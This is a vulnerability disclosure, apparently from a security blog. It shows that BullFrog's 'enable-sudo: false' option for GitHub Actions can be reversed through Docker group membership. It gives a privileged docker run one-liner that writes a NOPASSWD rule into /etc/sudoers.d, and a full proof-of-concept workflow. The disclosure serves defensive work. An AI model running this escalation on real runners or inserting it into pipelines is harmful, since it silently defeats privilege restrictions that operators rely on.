sudo restriction bypass via Docker Group in BullFrog GitHub Action

Table of Contents
Intro Lore
Least privilege is one of those security principles that everyone agrees with and almost nobody fully implements. In the GitHub Actions context, it means your workflow steps should only have the access they actually need, and no more. Running arbitrary third-party actions or build scripts as a user with unrestricted sudo is a liability, one compromised dependency, one malicious action, and an attacker owns the runner.
BullFrog, the egress-filtering agent for GitHub Actions I wrote about previously, ships a feature called enable-sudo: false specifically to address this. Set it and BullFrog removes sudo access for all subsequent steps in the job, or so it claims.
What is BullFrog's enable-sudo?
enable-sudo is a BullFrog configuration option that, when set to false, strips sudo privileges from the runner user for all steps that follow the BullFrog setup step. It's designed as a privilege reduction primitive, you harden the environment early in the job so that nothing downstream can accidentally (or intentionally) run as root.
A typical hardened workflow looks like this:
- name: Set up bullfrog
uses: bullfrogsec/bullfrog@v0.8.4
with:
egress-policy: block
allowed-domains: |
*.github.com
enable-sudo: false
After this step, sudo -n true should fail, and subsequent steps should be constrained to what the unprivileged runner user can do.
How Sudo is Disabled
BullFrog achieves this by modifying the sudoers configuration, essentially removing or neutering the runner user's sudo entry. This works at the sudo command level, the binary is still there, but the policy that would grant elevation is gone.
The Docker Problem
On GitHub-hosted Ubuntu runners, the runner user is already a member of the docker group. This means the runner user can spawn Docker containers without sudo, no privilege escalation required to get Docker running.
And Docker, when given --privileged and a host filesystem mount, is essentially root with extra steps. A privileged container with -v /:/host can write anywhere on the host filesystem, including /etc/sudoers.d/.
The sudo restriction is applied at one layer. Docker punches straight through to the layer below it.
Vulnerability
The enable-sudo: false feature only removes the sudoers entry for the runner user. It does not restrict Docker access, does not drop the runner from the docker group, and does not prevent privileged container execution. Because Docker daemon access is equivalent to root access on the host, the sudo restriction can be fully reversed in a single docker run command ā no password, no escalation, no interaction required.
docker run --rm --privileged -v /:/host ubuntu bash -c \
'echo "runner ALL=(ALL) NOPASSWD: ALL" > /host/etc/sudoers.d/runner'
This drops a sudoers rule back into place by writing through the container's view of the host filesystem. After this, sudo -n true succeeds again and the runner has full root access for the rest of the job.
Proof of Concept
The following workflow demonstrates the full bypass, disable sudo with BullFrog, confirm it's gone, restore it via Docker, confirm it's back:
name: Disable Sudo Bypass PoC
on:
[push, workflow_dispatch]
jobs:
disable-sudo:
runs-on: ubuntu-latest
steps:
- name: Secure Workflow with Bullfrog (Disable Sudo)
uses: bullfrogsec/bullfrog@1831f79cce8ad602eef14d2163873f27081ebfb3
with:
egress-policy: audit
allowed-domains: |
github.com
*.github.com
dns-policy: allowed-domains-only
enable-sudo: false
- name: Verify sudo is disabled
run: |
if ! sudo -n true 2>/dev/null; then
echo "ā Sudo successfully disabled via Bullfrog."
else
echo "ā Sudo still available."
exit 1
fi
- name: Restore sudo access via Docker (privileged container)
run: |
docker run --rm --privileged -v /:/host ubuntu bash -c \
'echo "runner ALL=(ALL) NOPASSWD: ALL" > /host/etc/sudoers.d/runner'
- name: Verify sudo is restored
run: |
if sudo -n true 2>/dev/null; then
echo "ā Sudo restored. Bullfrog restriction bypassed."
sudo cat /etc/sudoers.d/runner
fi
The workflow output confirms the sequence cleanly, BullFrog disables sudo, the verification step passes, Docker writes the sudoers rule, and the final step confirms full sudo access is back ā all within the same job, all as the unprivileged runner user, no external dependencies beyond the Docker image.
Disclosure Timeline
- Discovery & Report: 28th November 2025
- Vendor Contact: 28th November 2025
- Vendor Response: None
- Public Disclosure: 28th February 2026
Reported to the BullFrog team on November 28th, 2025. No response, acknowledgment, or fix was issued in the roughly three months that followed. Disclosing publicly now. This is the second BullFrog vulnerability I'm disclosing simultaneously due to the same lack of response ā see also: Bypassing egress filtering in BullFrog GitHub Action).
Affected Versions: v0.8.4 and likely all prior versions
Fixed Versions: None as of disclosure date (I did not bother to check)